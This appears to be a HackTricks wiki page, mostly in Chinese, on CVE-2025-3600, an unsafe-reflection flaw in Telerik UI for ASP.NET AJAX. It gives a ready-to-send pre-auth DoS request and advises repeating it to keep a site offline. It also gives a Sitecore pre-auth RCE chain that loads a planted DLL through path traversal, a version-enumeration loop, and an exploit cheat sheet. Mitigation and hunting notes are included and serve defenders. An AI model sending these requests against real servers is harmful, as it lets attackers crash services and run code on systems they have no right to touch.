Telerik UI for ASP.NET AJAX – 通过 WebResource.axd (type=iec) 的不安全反射
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
在 Telerik UI for ASP.NET AJAX 的 Image Editor 缓存处理程序中,预认证构造函数执行使得通用 DoS 成为可能,并且在许多应用中可通过目标特定 gadget 导致预认证 RCE(CVE-2025-3600)。
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
- Primitive: 攻击者可控制一个类型名 (prtype)。处理程序使用 Type.GetType() 解析该类型并在验证接口类型安全性之前调用 Activator.CreateInstance()。任何公共的无参 .NET 类型构造函数都会被执行。
- Impact:
- 通用 pre‑auth DoS,利用 .NET framework gadget(PowerShell WSMan finalizer)。
- 在真实部署中,通常可通过滥用应用特定 gadget 升级为 pre‑auth RCE,尤其是通过不安全的 AppDomain.AssemblyResolve 处理程序。
- Fix: 更新到 Telerik UI for ASP.NET AJAX 2025.1.416+ 或移除/锁定该处理程序。
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Check exposure:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
- Do not rely on finding Telerik strings on
/or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML. - Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
注意
- Some PoCs use dtype; the implementation checks dkey==“1” for the download flow.
- prtype must be assembly-qualified or resolvable in the current AppDomain.
有用的代码/ops 检查
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
在遗留安装上快速版本初筛
如果同一应用也暴露了旧的 type=rau 处理器,较旧的 Telerik 工具仍然可以在尝试 type=iec 调查之前帮助你指纹识别共享的 Telerik.Web.UI.dll 程序集版本。 这并不直接利用 CVE-2025-3600;它只是重用 rau 和 iec 存在于同一程序集的事实。
实用方法:
- 如果可以访问
type=rau,使用旧的 RAU 工具中经典的主版本暴力枚举来恢复精确的Telerik.Web.UI程序集版本。 - 将恢复的版本与易受影响的范围(
2011.2.712到2025.1.218)以及修复的构建(2025.1.416+)进行比较。 - 如果未发现
type=rau,则视为不确定。即使rau被禁用或过滤,iec仍可能被暴露。
使用旧的 CVE-2019-18935.py 辅助脚本的示例:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
为什么这有帮助:
- 企业应用经常会多年捆绑过时的 Telerik 构建。
- Red teams 可以快速区分 “handler exposed” 与 “likely still on a vulnerable DLL”。
- 在事件响应期间,同样的技巧有助于在无法立即获得文件系统访问时对大型 IIS 机群进行范围界定。
根本原因 – ImageEditorCacheHandler 中的不安全反射
Image Editor 的缓存下载流程会构造一个由 prtype 提供的类型的实例,并且只有在稍后才将其转换为 ICacheImageProvider 并验证下载密钥。当验证失败时,构造函数已经运行过了。
相关的反编译流程
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
利用原语:受控的类型字符串 → Type.GetType 解析它 → Activator.CreateInstance 运行它的公共无参构造函数。即使请求随后被拒绝,gadget 的副作用也已发生。
## 通用 DoS gadget (no app-specific gadgets required)
类:System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper(位于 System.Management.Automation,PowerShell)有一个终结器,该终结器释放一个未初始化的句柄,导致当 GC 对其终结时抛出未处理的异常。这会在实例化后不久可靠地使 IIS worker 进程崩溃。
One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- 定期持续发送以保持站点离线。你可能会在调试器中观察到构造函数被触发;崩溃发生在最终化(finalization)时。
From DoS to RCE – 提权路径
不安全的构造函数执行会解锁许多目标特定的 gadgets 和 chains。寻找:
- 无参数构造函数(parameterless constructors)处理攻击者输入
- 有些 ctors(或静态初始化器)会立即读取 Request 的 query/body/cookies/headers 并对其进行 (de)serialize。
- 示例 (Sitecore):一个 ctor 链会到达 GetLayoutDefinition(),该方法读取 HTTP body 中的 “layout” 并通过 JSON.NET 反序列化 JSON。
- 操作文件的构造函数
- 加载或从磁盘反序列化 config/blobs 的 ctors 可以被强制利用,如果你可以写入那些路径(uploads/temp/data 文件夹)。
- 执行应用特定操作的构造函数
- 重置状态、切换模块或终止进程。
- 注册 AppDomain 事件处理器的构造函数/静态 ctor
- 许多应用会添加 AppDomain.CurrentDomain.AssemblyResolve 处理程序,这些处理程序会根据 args.Name 构建 DLL 路径而不做消毒(sanitization)。如果你能影响类型解析,就可以强制从攻击者控制的路径加载任意 DLL。
- 通过 Type.GetType 强制触发 AssemblyResolve
- 请求一个不存在的类型以强制 CLR 进行解析并调用已注册的(可能不安全的)解析器。Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- 带有破坏性副作用的终结器
- 某些类型在终结器中删除固定路径的文件。结合符号链接跟随或可预测路径,在某些环境下这可能导致本地权限提升。
Example pre‑auth RCE chain (Sitecore XP)
- Step 1 – Pre‑auth: 触发一个其 static/instance ctor 注册了不安全 AssemblyResolve handler 的类型(例如,Sitecore’s FolderControlSource in ControlFactory)。
- Step 2 – Post‑auth: 获得对 resolver-probed 目录的写入(例如,通过 auth bypass 或 弱上传)并植入恶意 DLL。
- Step 3 – Pre‑auth: 利用 CVE‑2025‑3600,使用一个不存在的类型和包含 traversal 的 assembly 名称,强制解析器加载你植入的 DLL → 以 IIS worker 身份执行代码。
Trigger examples
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
验证、狩猎与 DFIR 备注
- Safe lab validation: 在安全实验室验证:触发 DoS payload,观察是否发生与 WSMan finalizer 相关的 app pool 回收/未处理异常。
- Hunt in telemetry:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- Failed type loads and AppDomain.AssemblyResolve events.
- Sudden w3wp.exe crashes/recycles following such requests.
缓解措施
- 更新补丁到 Telerik UI for ASP.NET AJAX 2025.1.416 或更高版本。
- 尽可能移除或限制 Telerik.Web.UI.WebResource.axd 的暴露(WAF/rewrites)。
- 在服务器端忽略或强化 prtype 处理(升级会在实例化前应用正确的校验)。
- 审计并强化自定义的 AppDomain.AssemblyResolve 处理器。避免直接从 args.Name 构建路径而不做净化;优先使用强名称加载或白名单。
- 约束上传/写入位置,防止 DLL 被投放到探测目录。
- 监控对不存在类型的加载尝试,以发现解析器滥用。
Cheat‑sheet
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- 在 web.config 中查找处理程序映射
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- 通用 DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- 触发解析器:
This.Class.Does.Not.Exist, watchTowr
相关技术
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
参考资料
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


